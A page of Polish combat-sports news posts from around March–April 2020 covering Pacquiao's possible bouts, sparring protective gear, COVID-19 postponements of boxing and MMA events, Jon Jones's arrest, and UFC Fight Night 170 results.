Przymiarki z Pacquiao w roli głównej

41-letni Manny Pacquiao przeszedł do historii boksu, ale nadal zamierza rywalizować. Wiele mówi się o potencjalnym starciu Filipińczyka z Conorem McGregorem. Zainteresowany walką z Pacquiao jest Amir Khan.

Temat pojedynku mistrza świata w ośmiu kategoriach wagowych w boksie z Conorem McGregorem to nic nowego. Sprawa pojawiła się kilka lat temu. Zwracano uwagę, że Pacquiao pozazdrościł Floydowi Mayweatherowi Jr. i również chce spotkać się z zawodnikiem MMA. Warto dodać, że "Money" pokonał McGregora.  

Wydaje się, że sprawa nabiera rozpędu. W styczniu McGregor podkreślał, że chętnie spotka się z Pacquiao na otwarcie stadionu Allegiant. Gdy 41-letni Filipińczyk podpisał kontrakt z grupą Paradigm Sports Management (związany z nią jest McGregor – red.), temat ewentualnej walki stał się jeszcze bardziej realny. Umowa Pacquiao z Alem Haymonem wygasła, więc teraz utytułowany bokser czeka na kolejne wyzwania. Wiadomo, że w związku z pandemią koronawirusa plany trzeba nieco zweryfikować, ale ponoć strony prowadzą rozmowy dotyczące pojedynku. Jeśli doszłoby do porozumienia starcie miałoby się odbyć na początku przyszłego roku. Pacquiao i McGregor rywalizowaliby na zasadach bokserskich. 

Wydaje się, że popularny „Pacman” chciałby spotkać się z Irlandczykiem, jednak gotowy do walki z nim jest również Amir Khan. Jeszcze kilka dni temu 33-letni bokser rozważał zakończenie kariery, ale zmienił plany. Sam podkreśla, że najpierw chciałby spotkać się z mniej wymagającym rywalem. Potem Khan liczy na starcie z Pacquiao, z którym się doskonale zna. Obaj pięściarze trenowali razem z Freddim Roachem. Ostatni raz Khan boksował blisko rok temu. Przegrał przed czasem z Terencem Crawfordem.

41-letni Pacquiao nadal imponuje ambicją, wolą walki i dążeniem do osiągania kolejnych celów. Pokonując w lipcu Keitha Thurmana, po zaciętym pojedynku, Pacquiao sięgnął po pas WBA wagi półśredniej. 62 zwycięstwo na koncie Filipińczyka. Z kim przyjdzie mu stoczyć 72. pojedynek na zawodowym ringu? Pacquiao wydaje się niezniszczalny i gotowy do kolejnych wyzwań. Nadal chce udowadniać swoją wartość. Miejsce w historii boksu Filipińczyk już ma, ale ambicje też.

Fot. Manny Pacquiao Facebook

KM

Jak zadbać o bezpieczeństwo podczas treningu sztuk walki?

Aby wygrać walkę w ringu, najpierw na treningu musisz wylać litry potu, łez i… no właśnie, czy aby na pewno krwi? Na to przyjdzie czas w pojedynku! Dowiedz się, jakie akcesoria się zapewnią Ci bezpieczeństwo podcza treningu sztuk walki.

Kask treningowy – skuteczna ochrona przed ciosami w głowę

Zadaniem kasku jest ochrona jak największej powierzchni głowy i twarzy podczas treningów i sparingów przed walką. Najlepsze kaski skonstruowane są w taki sposób, by zasłaniać okolice narażone na uderzenia po różnorakich ciosach – sierpowych, prostych, podbródkowych oraz innych dozwolonych nie tylko w pięściarstwie, ale też różnorakich sztukach walki.

Dlatego zwróć uwagę na to, by Twój kask treningowy skutecznie chronił:

  • kości policzkowe,
  • nos,
  • okolice oczu,
  • kość czołową,
  • uszy,
  • podbródek.

Zrezygnuj z kasku z kratką ochronną. Kiedy Twój sparingpartner uszkodzi ją swoim ciosem, niestety możesz nabawić się urazu, który wyeliminuje Cię z pojedynku. Jeśli potrzebujesz dodatkowej ochrony twarzy, postaw na kask z maską poliwęglanową. Jest ona bardziej wytrzymała niż kratka, a także zapewnia lepszą widoczność.

Skuteczna amortyzacja

Sparingpartner musi jak najlepiej przygotować Cię do walki, więc nie licz na fory, jego ciosy na pewno będą mocne. By uchronić się przed urazami, zadbaj o to, by na Twojej głowie znalazł się kask wypełniony utwardzaną pianką, która skutecznie amortyzuje siłę ciosu.

Ochraniacze na zęby – podstawowa ochrona każdego fightera

Wszystkie ciosy na szczękę niosą ze sobą ryzyko wybicia zębów oraz bolesnego przygryzienia języka lub wewnętrznych części policzków. Tego typu urazom zapobiegają ochraniacza na zęby. Najlepsze dopasowanie do Twojego uzębienia gwarantują żelowe ochraniacze, które podczas procesu formowania charakteryzują się lepszą plastyką niż ochraniacze silikonowe. Obydwa rodzaje zapewniają jednak ten sam poziom ochrony.

Pozostaje jeszcze kwestia wyboru ochraniaczy pojedynczych lub podwójnych. Większość fighterów zdecydowanie bardziej ceni sobie ochraniacze pojedyncze, które pozwalają swobodnie oddychać i nie wymuszają ciągłego zaciskania zębów.

Ochraniacze i usztywniacze – czego jeszcze potrzebujesz w czasie sparingu?

Urazy w sportach walki nie imają się jednak innych części ciała, dlatego podczas treningów, sparowania warto wykorzystać różne ochraniacze i usztywniacze.

  • Ochraniacze na stopy i golenie – nie tylko chronią przed bolesnymi stłuczeniami oraz urazami, ale również stabilizują staw skokowy podczas treningów i sparingów.
  • Ochraniacze na krocze i podbrzusze – ochrona tych wrażliwych miejsc jest bardzo ważna podczas sparowania i pozwala unikać niechciany kontuzji.
  • Ściągacze i stabilizatory – poprawiają stabilizację kolan i łokci podczas obciążeń treningowych, redukując ryzyko urazów.
  • Ochraniacze na tułów – amortyzują siłę ciosów wymierzonych w tułów.

Im bardziej intensywny trening, a sparingpartner wymagający, tym tym większe bezpieczeństwo musisz sobie zapewnić, by w zdrowiu dotrwać do właściwego pojedynku.

Majowe walki przełożone

Pojedynki Aleksandra Powietkina z Dillianem Whyte'm oraz Derecka Chisory z Oleksandrem Usykiem nie odbędą się w planowanych terminach.

Obecna sytuacja wymaga radykalnych działań. Zagrożenie związane z kornawirusem paraliżuje cały świat, z dnia na dzień wszystkie plany ulegają zmianie. Gale bokserskie planowane na Wyspach Brytyjskich również muszą być przesuwane. W związku z ograniczeniami wprowadzonymi przez Brytyjską Komisję Bokserską oraz rząd Matchroom Boxing przełożył wydarzenia, które miałby odbyć się w maju. W związku z tym hitowe starcia Aleksandra Powiaetkina z Dillianem Whyte'm (2 maja) oraz Derecka Chisory z Oleksandrem Usykiem (23 maja) zobaczymy w innych terminach. – To frustrujące, ale w tej chwili na świecie dzieje się wiele poważniejszych rzeczy. Skoncentrowałem się na przygotowaniach do starcia 2 maja i miałem dobry obóz, ale takie jest życie i trzeba dostosować się do tego co przychodzi – powiedział Dillian Whyte.

Matchroom Boxing stawia zdrowie i bezpieczeństwo na pierwszym miejscu. Organizatorzy zapewniają, że zakupione bilety będą ważne w nowych terminach gal.  – Zdrowie i bezpieczeństwo bokserów, personelu, wykonawców wydarzeń i fanów zaangażowanych w nasze wydarzenia pozostaje najwyższym priorytetem dla Boxroomu i dziękujemy wszystkim za zrozumienie – czytamy w komunikacie.

Wiadomo, że walka Powietkina z Whyte'm została przesunięta na 4 lipca. Pojedynek odbędzie się w Manchesterze. Rosjanin po raz ostatni boksował w grudniu 2019 roku, kiedy to zremisował z Michaelem Hunterem. Whyte ma na swoim koncie jedenaście zwycięstw z rzędu. W ubiegłym roku pokonał Oscara Rivasa i Mariusza Wacha.

Niebawem powinniśmy poznać nowy termin starcia Chisory i Usyka. 36-leni bokser urodzony w Zimbabwe wygrał trzy ostatnie walki. Wśród pokonanych znajduje się m.in. Artur Szpilka. Z kolei Usyk wrócił jesienią po kontuzji i pokonał Chazza Witherspoona.

Warto również wspomnieć, że prawdopodobne jest przesunięcie mistrzowskiego starcia pomiędzy Anthonym Joshuą a Kubratem Pulewem. Walkę zaplanowano na 20 czerwca, ale na zostać przeniesiona na 25 lipca. Na potwierdzenie informacji cierpliwie czekamy.

Fot. Александр Усик / Usyk Facebook

KM

Przypadki Jona Jonesa

Problemy to drugie imię Jona Jonesa. Popularny "Bones" został zatrzymany za jazdę pod wpływem alkoholu oraz posiadanie broni.

32-letni Jones to jedna z kluczowych postaci UFC, mistrz wagi półciężkiej. Podziwiany na płaszczyźnie sportowej, ale w życiu codziennym nie stroi od wybryków i wchodzenia w konflikty z prawem. Jones wpakował się w kolejne kłopoty. 26 marca w Albuquerque został zatrzymany za prowadzenie samochodu pod wpływem alkoholu. Ponadto, w pojeździe Jonesa znaleziono broń, która miała związek ze strzelaniną.

Sprawa odbiła się szerokim echem w świecie MMA. UFC wydało krótkie oświadczenie, w którym zapewniało, że jest w kontakcie z zespołem Jonesa i zbiera informacje o sprawie. Sytuację komentują również zawodnicy amerykańskiej organizacji. Israel Adesanya zamieścił w mediach społecznościowych film z dzieckiem, które nie uczy się na błędach i skomentował: – Jon to Jon. – Ten facet jeszcze raz. Wow! Zgadnij, co się więcej nie powtórzy. Co za wstyd! – to z kolei Gilbert Burns. Również Jan Błachowicz, który chciałby walczyć o pas mistrzowski zabrał głos. – No dalej Jon, musisz znaleźć lepszy sposób, by się przede mną ukryć niż więzienie – napisał w mediach społecznościowych polski zawodnik. Całą sytuację chce wykorzystać Thiago Santos. Brazylijczyk uważa, że konieczne jest wyłonienie nowego czempiona wagi półciężkiej, a pretendentem miałby być on i Dominick Reyes.

Jones znalazł się na pierwszym planie i nikt nie zamierza zostawić na nim suchej nitki. Najgorsze może go dopiero czekać… 8 kwietnia odbędzie się posiedzenie sądu w sprawie Amerykanina. 

Nie pierwszy raz…

Dla Jona Jonesa kłopoty są czymś powszechnym. W listopadzie 2016 roku Amerykanin został zawieszony na rok za stosowanie niedozwolonych środków. Jednocześnie stracił pas wagi półciężkiej. Kolejną wpadkę "Bones" zanotował w sierpniu 2017 roku. Groziło mu czteroletnie zawieszenie, jednak karę zmniejszono do 15 miesięcy. Z kolei w 2015 roku Jones spowodował wypadek, w którym poszkodowana była kobieta w ciąży. Amerykanin uciekł z miejsca zdarzenia. Przyznał się jednak do winy i został skazany na 18-miesięczne zawieszenie oraz prace społeczne. W ubiegłym roku zaś napastował kelnerkę w klubie ze striptizem. Sąd skazał go na 90-dniowy areszt w zawieszeniu.

Chyba najlepszym podsumowaniem wybryków Jonesa jest komentarz Colby'ego Covingtona do ostatnich wydarzeń z udziałem mistrza wagi półciężkiej. – Nie ma powodu do paniki. Świat jest zupełnie normalny.

Fot. Jon „Bones” Jones

KM

Czy to na pewno freak fights? Nawet jeśli to są imponujące

Niezbyt mądrym było przeniesienie Fame MMA do innego miasta w czasach pandemii koronawirusa. Wydawało by się, że ze względu sportowego niezbyt mądre są też niektóre walki w MMA, ale z perspektywy promocji, to zwykle jedno z mądrzejszych posunięć promotorów. I nie mówimy tylko o walce Conora McGregora z Floydem Mayweatherem Jr.

Pojedynek wspomnianych, Conora i Floyda, to najprawdopodobniej największa, najbardziej promowana i najdroższa walka z cyklu freak fights, jaka kiedykolwiek się odbyła. I jako jedyny freak fight, ta rywalizacja zapowiadała się i w pewnym sensie była sportowym pojedynkiem. Zresztą, Conor to zły chłopiec, ta walka nie mogła się po prostu nie udać. Istnieją jednak inne, które naszym zdaniem, są równie ciekawe i nawet jeśli sportowe rywalizacje, to brzmią po prostu nieprawdpopodbnie. 

84 kilogramy tłucze wielkoludów

Po co komu kategorie wagowe? Ikuhisa Minowa, ważący 84 kilogramy i mający 175 centymetrów wzrostu, mierzył się namiętnie z dużo większymi i cięższymi rywalami. Japończyk za nic miał warunki fizyczne przeciwników, bo jego technika znaczyła więcej. Kogo pokonał? Między innymi Gilberta Yvelu w nieco ponad minutę. Holender był wyższy o 13 centymetrów i cięższy o blisko 40 kilogramów. Giant Silva, którego Ikuhisa także pokonał, był o 40 centymetrów wyższy, a różnica wagi wynosiła więcej niż waga Japończyka.

Po upadku Pride FC Minowa rozłożył Dona Frye po zaledwie czterech minutach. Ten był chyba najbliższy warunkom fizycznym Minowie. Ważył 112 kilogramów i mierzył 185 centymetrów wzrostu. Errol Zimmerman (191 i 117,5kg) położył się po minucie. Położyli się także Bob Sapp wybrany do w drafcie do NFL w 1997 roku (193 cm i 145 kg) i Hong Man Choi (218 cm i 140 kg). Większości swoich olbrzymich rywali, Japończyk po prostu urywał nogi. 

Nasz strongman nie taki silny?

Siła musi ważyć, ale jak wiemy na przykładzie Minowy, technika jest niezastąpiona. Pojedynek Mariusza Pudzianowskiego z Timem Sylvią, to było coś … niezwykłego, choćby z jednego względu. Ten, kto widział Pudziana na żywo, wie, że wypowiedzenie słów – większy od Pudziana – jest praktycznie niemożliwe. Sylvia, większy i cięższy (!) od Pudziana, tłukł go niemiłosiernie. Sylvia nie pokazał nic wybitnego, ale na strongmana było to wystarczająco. Na tyle wystarczająco, że Amerykanin przed walką mówił nawet, że nie analizuje walk swojego rywala, nie przykłada się do treningu i z łatwością go pokona, bo ma przewagę w stójce oraz parterze. Stylvia podkreślał nawet, że siła, którą ma Pudzian, jest nieumiejętnie wykorzystywana. Freak Fight? Coś w tym jest, bo starcie mistrza świata w UFC z byłym strongmanem, to nie mógł być poważny pojedynek. 

Trzykrotnie lżejszy rywal? A czemu nie!

Keith Hackney waży 200 funtów, czyli około 91 kilogramów. Jego przeciwnik, Emanuel Yarbrough zamyka skalę z 600 funtami, czyli 270 kilogramami. Co interesujące, Yarbrough w czasie świetności swojej wagi ważył bliko 400 kilogramów (!!!!). Wpuszczenie do oktagonu przeciwników, których masa tak znacząco się różni już brzmi absurdalnie. Jeszcze bardziej absurdalnie wyglądało to, gdy obaj stali przy sobie. Efekt? Freak fight, do tego taki, gdzie 90-kilogramowiec pokonał otłuszczonego i wielkiego przeciwnika.

Nawet jeśli ktoś twierdzi, że powyższe walki to freak fights, to są to często imponujące (może poza Sylvią) zwycięstwa.

Wielka walka przełożona na październik

Od kilku dni mówiło się, że zaplanowana na 18 lipca walka Tysona Fury'ego z Deontayem Wilderem zostanie przełożona. Pojedynek odbędzie się prawdopodobnie 3 października. Warto również zwrócić uwagę na kwarantannę Anthony'ego Joshuy.

Koronawirus sparaliżował cały świat. Na płaszczyźnie sportowej odwoływane i przekładane są kolejne wydarzenia. Wszelkie obostrzenia dotyczą najbliższych tygodni, ale nie brak dywagacji na temat stanu rzeczywistości po zakończeniu epidemii. Zapewne będziemy potrzebować czasu, aby wszystko wróciło do normy. Stąd trudno dziwić się działaniom organizatorów wielkich wydarzeń sportowych, które zaplanowano na miesiące letnie. 

22 lutego Deontay Wilder stracił w Las Vegas pas WBC na rzecz Tysona Fury'ego. Była to pierwsza porażka w karierze Amerykanina. Wilder zdecydował się uruchomić klauzulę dotyczącą rewanżu. Pojedynek miał odbyć się 18 lipca w Las Vegas. W związku z rozprzestrzenianiem się koronawirusa oraz zagrożeniem dla zdrowia i życia ludzkiego podjęto decyzję o przełożeniu starcia. Wilder i Fury mają zmierzyć się 3 października w Las Vegas. 

Będzie to trzecie starcie pięściarzy, którzy dotychczas dostarczyli widzom wielu emocji. 1 grudnia 2018 roku Fury pokazał, że nadal należy do czołówki wagi ciężkiej. Sprawił wiele problemów Amerykaninowi, ale pojedynek zakończył się remisem. W lutym nie było żadnych wątpliwości. Fury całkowicie zdominował Wildera, który był bezradny i kilka razy lądował na deskach. Walka zakończyła się w siódmej rundzie. Kolejne starcie zapowiada się równie ciekawie.

Kwarantanna Joshuy

25 marca świat obiegła informacja, że koronawirusem zarażony jest następca brytyjskiego tronu – Książę Karol. Wiele osób, które w ostatnim czasie miała styczność z 71-latkiem musi poddać się kwarantannie. W tym gronie jest mistrz świata WBA, IBF, WBO i IBO wagi ciężkiej Anthony Joshua. "AJ" spotkał się z Księciem Karolem podczas święta Wspólnoty Brytyjskiej. Teraz czeka go obowiązkowy odpoczynek. 

Joshua w najbliższej walce ma spotkać się z Kubratem Pulewem. Pojedynek zaplanowano na 20 czerwca, ale zapewne starcie zostanie przełożone.

Fot. Tyson Fury Facebook

KM

Bez mistrzowskich walk do końca maja

Krzysztof Głowacki czeka na pojedynek o pas WBO wagi junior ciężkiej. Pojedynek nie odbędzie się jednak wcześniej niż w czerwcu. Do końca maja federacja zakazała mistrzowskich starć.

Przeniesione, przesunięte, odwołane – to ostatnio najczęściej powtarzane słowa w kontekście gal i pojedynków bokserskich. Organizatorzy muszą szukać nowych terminów wydarzeń. Do końca maja na pewno nie zobaczymy żadnego starcia mistrzowskiego o pasy WBO. Taką decyzję podjęła federacja.

Od kilku miesięcy kandydatem do starcia o tytuł mistrza świata wagi junior ciężkiej jest Krzysztof Głowacki. To pokłosie decyzji WBO, która nakazała Mairisowi Briedisowi stoczyć rewanżowy pojedynek z Polakiem. Wszystko przez niesportowe zachowanie Łotysza podczas zmagań w półfinale World Boxing Super Series. Ten jednak nie zdecydował się na propozycję, a jego obóz złożył odwołanie, które zostało odrzucone. Briedis stracił pas, a Głowacki stał się naturalnym kandydatem do rywalizacji o tytuł. Rywalem pięściarza z Wałcza w mistrzowskim starciu ma być Lawrence Okolie. Mówiło się, że pojedynek odbędzie się 23 maja w Londynie. W obecnej sytuacji na pewno tak się nie stanie. Przypuszcza się, że walka może zostać zorganizowana w lipcu.

27-letni Okolie boksował ostatnio w październiku. W O2 Arena w Greenwich pokonał przed czasem Yvesa Ngabu. Okolie stoczył w ubiegłym roku aż cztery pojedynki, wszystkie rozstrzygnął przed czasem. Głowacki rywalizował tylko ze wspomnianym Briedisem. Ostatnią wygraną Polak zanotował w listopadzie 2018 roku pokonując Maksima Własowa.

„Ciężkie” przekładanie

Niemal pewne jest, że w planowanym lipcowym terminie nie dojdzie do trzeciego pojedynku Tysona Fury'ego z Deontayem Wilderem. Prawdopodobnie starcie odbędzie się jesienią, a precyzując – w październiku. W najbliższych dniach powinna być znana nowa data starcia Anthony'ego Joshuy z Kubratem Pulewem. Pierwotnie pojedynek planowano na 20 czerwca. Możliwe, że zostanie przełożony na 25 lipca. Stawką rywalizacji będą pasy mistrzowskie WBO, WBA, IBF i IBO. Joshua po raz pierwszy stanie do obrony odzyskanych tytułów.

Fot. Krzysztof Głowacki Facebook

KM

Gale przesunięte

Do końca kwietnia zostały zawieszone gale bokserskie – takie zarządzanie wydała Brytyjska Komisja Bokserska. Z kolei wydarzenia Premier Boxing Champions nie będą odbywały się do końca maja.

W związku z pandemią koronawirusa konieczne jest podejmowanie szczególnych środków ostrożności. Podjęto decyzje o odwołaniu gal do końca marca, ale wiadomo, że w kolejnym miesiącu wydarzenia również się nie odbędą. Brytyjska Komisja Bokserska przedłużyła zawieszenie do końca kwietnia. Teoretycznie spokojnie mógłby spać Eddie Hearn (na zdjęciu), którego największe gale mają odbyć się w późniejszych terminach. Promotor zdaje sobie sprawę z zagrożenia i w najbliższym czasie ma ogłosić przesunięcie gal. 2 maja w Manchesterze mieli zmierzyć się Dillian Whyte i Aleksandr Powietkin. Prawdopodobnie starcie zostanie przesunięte na połowę czerwca. Z kolei walka Derecka Chisory z Oleksandrem Usykiem, która była zaplanowana na 23 maja w Londynie ma odbyć się w lipcu. Warto dodać, że w kalendarzu Hearna jest jeszcze jeden wielki pojedynek. Starcie o mistrzostwo świata w wadze ciężkiej pomiędzy Anthonym Joshuą a Kubratem Pulewem zaplanowano na 20 czerwca. 

Warto również wspomnieć, że Hearn jest związany z telewizją Sky Sports. Promotor myśli o organizacji wydarzeń bez udziału publiczności, podczas których prezentowaliby się mniej znani pięściarze. Gale transmitowałaby Sky Sports. 

Do końca maja żadnych wydarzeń nie planuje Premier Boxing Champions. Zaplanowane gale odbędą się w późniejszych terminach. Swoje posiedzenie, które miało odbyć się 25 marca, odwołała Komisja Sportowa Stanu Nevada. Wszystko wskazuje na to, że zakaz organizacji gal bokserskich w tym stanie zostanie przedłużony. 

Bardzo prawdopodobne jest, że 2 maja nie dojdzie do starcia Saula Alvareza z Billym Joe Saundersem. Co istotne, „Canelo” ponoć porozumiał się w sprawie wrześniowego pojedynku z Giennadijem Gołowkinem. Starcie numer trzy pomiędzy Tysonem Fury a Deontayem Wilderem, które planowano w lipcu prawdopodobnie zostanie przesunięte.

Pozostaje nam czekać na nowe terminy gal i uzbroić się w cierpliwość w oczekiwaniu na emocje związane z pojedynkami bokserskimi oraz innymi wydarzeniami w świecie sportów walki.

Fot. Eddie Hearn Facebook

KM

1,5 miliona dla byłego promotora

Walka w ringu jest emocjonująca, ale poza nim również trwa rywalizacja o wielkie pieniądze. Tyson Fury zapłaci byłemu promotorowi 1,5 miliona funtów.

Tyson Fury ponownie na szczycie. 22 lutego w MGM Grand w Las Vegas "Król Cyganów" pokonał przed czasem Deontaya Wildera i zdobył pas mistrza świata WBC. Ogromna radość i satysfakcja pięściarza, który ma za sobą liczne problemy. Fury jest mistrzem świata, ale musi również uporządkować sprawy z przeszłości. Mianowicie chodzi o kwestie związane z byłym promotorem Mickiem Hennessym. Batalia toczyła się o finanse. Od początku kariery Fury był związany z Hennessym, jednak od 2014 rozpoczął współpracę z Frankiem Warrenem. Do tego czasu wszystko było w porządku. Później, po wygranej z Władimirem Kliczko, Fury przeżywał trudny czas. Przyznał się do brania narkotyków, problemów z alkoholem i myśli samobójczych. Na blisko trzy lata Fury zniknął z ringu. Wrócił 9 czerwca 2018 roku, kiedy to w Manchesterze pokonał Sefera Seferiego. "Król Cyganów" występował jednak jako zawodnik Franka Warrena. Ta sytuacja nie przypadła do gustu byłemu promotorowi, Hennessy skierował sprawę do sądu.

Strony doszły do porozumienia i zawarły ugodę. Fury zapłaci byłemu promotorowi 1,5 miliona funtów. Kwota może robić wrażenie, ale ostatnie zarobki „Króla Cyganów” gwarantują mu spokój. Za starcie z Wilderem, Fury miał zagwarantowane 25 milionów dolarów. Do tego należy doliczyć wpływy z pay per view.

Trzecia walka

Warto wspomnieć również o planowanej walce numer trzy pomiędzy Fury'm, a Wilderem. Po przegranym lutowym starciu Amerykanin zdecydował się uruchomić klauzulę dotyczącą kolejnego starcia. Planowano, że pojedynek odbędzie się 18 lipca w Las Vegas. W związku z rozprzestrzenianiem się koronawirusa z każdym dniem prawdopodobieństwo organizacji pojedynku maleje. Obecnie ustalenie czegokolwiek jest niezwykle trudne, a wręcz niemożliwe.

Łącznie Tyson Fury stoczył 31 zawodowych walk, z których 30 wygrał, a jedną zremisował. 21 pojedynków 31-latek zakończył przed czasem.

Fot. Tyson Fury Facebook

KM

FighTime Live – 20.03.2020

Dzień 5 kwarantanny z FighTime TV:

Rozkład jazdy na dziś:

10.00 – Road to Gold medal in Polish Judo (2016)

10.40 – Gala PLMMA 75 (2017)

11.45 – Gala Piaseczno Fight Night (2018)

13.30 – Gala Mistrzostwa Polski K-1 (2018)

15.30 – Zakończenie programu

[kod]

Gale FEN i ACA odwołane

Z powodu rozprzestrzeniania się koronawirusa odwołano kolejne wydarzenia. Chodzi o gale przygotowywane przez organizacje FEN i ACA.

W obecnej sytuacji zmiany są nieuniknione. Wiele wydarzeń zostało przełożonych, a ostatnia gala UFC odbyła się bez udziału publiczności. Imprezy zaplanowane na najbliższe dni bądź kwiecień też są przekładane na inne terminy.

28 marca w Hali Globus w Lublinie miała odbyć się gala FEN 28, na której planowano dwa starcia mistrzowskie. Szymona Bajora czekała rywalizacja o pas w kategorii ciężkiej z Brazylijczykiem Ednaldo Oliveirą. 31-latek wygrał trzy ostatnie walki, w tym dwie na FEN. Bajor prezentował się efektownie i kończył swoje pojedynki przed czasem. Z kolei Oliveira to doświadczony zawodnik, który ma za sobą występy w UFC. W drugiej mistrzowskiej walce mieli się zaprezentować Adrian Zieliński i Daniel Rutkowski, a na szali dwa pasy – organizacji FEN oraz Babilon MMA. Plany trzeba jednak odłożyć. – Gala FEN 28 w Lublinie odbędzie się w innym terminie oraz formacie, który dotychczas planowano – poinformowała organizacja. FEN informuje, że wszyscy kibice, którzy zakupili bilety otrzymają zwrot kosztów. – Bilety należy zwrócić w miejscu ich zakupu. Bilety otrzymane pocztą: prosimy o odesłanie biletów i paragonu wraz z wypełnionym formularzem zwrotu dostępnym na stronie: http://www.eventim.pl/obj/media/PL-eventim/pdf/formularz-zwrotu-reklamacji-pl.pdf – podają organizatorzy.

W obecnej sytuacji na zdecydowane kroki podjęli również włodarze Absolute Championship Akhmat. – Z powodu zakazu imprez masowych przekładamy turnieje w Moskwie, Sankt Petersburgu i Warszawie na nowe daty – przekazała organizacja. Gala ACA 106 miała odbyć się 27 marca, jednak została przeniesiona na 21 sierpnia. 3 kwietnia planowano rywalizację w Moskwie. Gala 107 odbędzie się 24 lipca. ACA szykowało kolejne wydarzenie w Warszawie, podczas którego mieli zaprezentować się m.in. Daniel Omielańczuk, Piotr Strus i Rafał Haratyk. Gala numer 108 nie odbędzie się 24 kwietnia, ale nie podano również jej nowego terminu. – Wszystkie wcześniej zakupione bilety są ważne! – podkreśla ACA.

KM

Widowiskowo w Brazylii

W cieniu rozwoju sytuacji z koronawirusem odbyła się gala UFC Fight Night 170. W walce wieczoru Charles Oliveira pokonał Kevina Lee. 

Gala w Brasilii odbyła się przy pustych trybunach. Gwiazdą wieczoru okazał się 30-letni Charles Oliveira, którego akcje w kategorii lekkiej rosną z walki na walkę. Popularny "Do Bronx" prezentuje znakomitą dyspozycję i przed galą UFC Fight Night 170 miał sześć zwycięstw z rzędu. Co istotne, wszystkie Brazylijczyk zanotował przed czasem. Jego rywal, Kevin Lee, ostatnio pokonał Gregora Gillespie. Wcześniej 27-latek przegrał z Rafaelem dos Anjosem.  Od początku walka wieczoru w Brasilii mogła się podobać. Aktywny był Oliveira, Lee długimi momentami musiał bronić się. Brazylijczyk dążył do zakończenia pojedynku przed czasem i cel osiągnął. W trzeciej rundzie 30-latek rozwścieczył rywala latającym kopnięciem. Amerykanin agresywnie ruszył na Brazylijczyka, obalił go, ale po chwili musiał się poddać. Świetna gilotyna w wykonaniu Oliveiry i siódma z rzędu wygrana.

Efektowne zwycięstwo zanotował Gilbert Burns, który pokonał doświadczonego Demiana Maię. W pierwszej rundzie 33-latek posłał w stronę rywala lewy sierp, a potem w parterze dokończył dzieło. Dla Burnsa było to piąte zwycięstwo z rzędu. Zaledwie 44 sekund potrzebował Renato Carneiro, aby pokonać Damira Hadzovicia. 30-latek wygrał przez duszenie zza pleców. Na gali w Brazylii zaprezentował się znany z rywalizacji z Janem Błachowiczem Nikita Krylov. 28-letni zawodnik z Ukrainy pokonał decyzją sędziów Johnny'ego Walkera.

Podczas UFC Fight Night 170 zaprezentowała się również Szwedka polskiego pochodzenia Bea Malecki. 28-latka pokonała Veronicę Macedo i zanotowała drugie zwycięstwo w UFC.

Pozostałe wyniki:

Francisco Trinaldo pokonał Johna Makdessiego decyzją sędziów
Brandon Moreno pokonał Jussiera Formigę decyzją sędziów
Amanda Ribas pokonała Randę Markos decyzją sędziów
Elizeum Zaleski dos Santos pokonał Alexeya Kunchenko decyzją sędziów
Enrique Barzola zremisował z Ranim Yahyą
Maryna Moroz pokonała Mayrę Bueno Silvę decyzją sędziów
David Dvorak pokonał decyzją sędziów Bruno Silvę

Fot. UFC Facebook

KM

Kolejne imprezy odwołane

W związku z rozprzestrzenianiem się koronawirusem odwołane zostały gale bokserskie w Stanach Zjednoczonych. Pod znakiem stanął również finał World Boxing Super Series na Łotwie. Przenoszone są gale UFC.

Z każdym dniem liczba zarażonych koronawirusem wzrasta. Aby zapobiec rozprzestrzenianiu się wirusa, odwoływane są liczne imprezy masowe, zalecane jest również ograniczanie przebywania w większych zgromadzeniach ludzkich. Wiadomo, że nie odbędzie się gala KSW 53. Wydarzenia odwołały m.in. Polski Związek Kickboxingu, Polski Związek Judo czy Polski Związek Zapaśniczy.

Również w Stanach Zjednoczonych podjęto działania. Prezydent Donald Trump zawiesił przyjazdy z Europy do USA. Zadecydowano o przerwanie rozgrywek NBA i NHL. Sprawa koronawirusa dotyka również wydarzenia związane ze sportami walki. Komisja w stanie Kalifornia odwołała wszystkie gale bokserskie do końca marca. Tym samym nie dojdzie do starcia, organizowanego przez Golden Boy Promotions, Vergila Ortiza z Samuelem Vargasem, które zaplanowano na 28 marca. Również grupa Top Rank zdecydowała się na odwołanie wydarzeń. 14 marca miała odbyć się gala, podczas które o pas mistrza WBO wagi piórkowej mieli walczyć Shakur Stevenson i Miguel Marriaga. Z kolei 17 marca planowano wydarzenie, którego głównymi bohaterami mieli być Michael Conlan i Belman Preciado. Początkowo mówiło się, że gale odbędą się, ale bez udziału publiczności. Ostatecznie Bob Arum zmienił zdanie.

Należy zwrócić uwagę, że władze Łotwy wydały zakaz organizacji imprez masowych. 21 marca zaplanowano galę, podczas której Mairis Briedis i Yuniel Dorticos mają rywalizować w finale World Boxing Super Series w kategorii junior ciężkiej. Stawką pojedynku będzie pas IBF należący do Kubańczyka. Możliwe są dwa rozwiązania – walka przy pustych trybunach lub przeniesienie na inny termin.

Zmiany dotyczą również MMA. UFC zdecydowała się na przeniesienie dwóch gal do kompleksu UFC Apex w Las Vegas. Chodzi o UFC on ESPN 8 i UFC on ESPN+ 30. Oczywiście wydarzenia odbędą się, ale bez udziału publiczności. 14 marca zawodnicy wezmą udział w gali UFC on ESPN+ 28 w Brazylii. Tam również zabraknie widzów.

KM

Zachowajmy ostrożność

W związku ze wzrostem liczby zachorowań oraz rozprzestrzenianiem się koronawirusem należy zachować szczególne środki ostrożności. Wiele imprez sportowych w najbliższym czasie nie odbędzie się.

Sytuacja jest poważna. Rządzący zdecydowali się zamknąć szkoły i uczelnie wyższe na dwa tygodnie. Wskazane jest również ograniczenie przemieszczania się i przebywania w większych skupiskach ludzi. Rozwój epidemii na również wpływ na świat sportu. Koszykarska liga NBA podjęła decyzję o zawieszeniu rozgrywek. Oświadczenie wydał klub piłkarski Inter Mediolan, który do odwołania nie będzie brał udziału w zmaganiach sportowych. W Polsce – rozgrywki PKO Ekstraklasy odbędą się przy pustych trybunach.

Rozprzestrzenienie się koronowirusa i zagrożenie z nim związane dotyczy również organizacji imprez masowych w Polsce. Rządowy Zespół Zarządzania Kryzysowego zakazał organizacji wydarzeń, w których bierze udział ponad 1000 osób, a w hali ponad 500. Do związków sportowych zwróciła się minister sportu Danuta Dmowska-Andrzejuk. – Rekomendujemy odwołanie wszystkich zaplanowanych imprez sportowych, także tych których ustawa nie definiuje jako masowe – powiedziała minister.

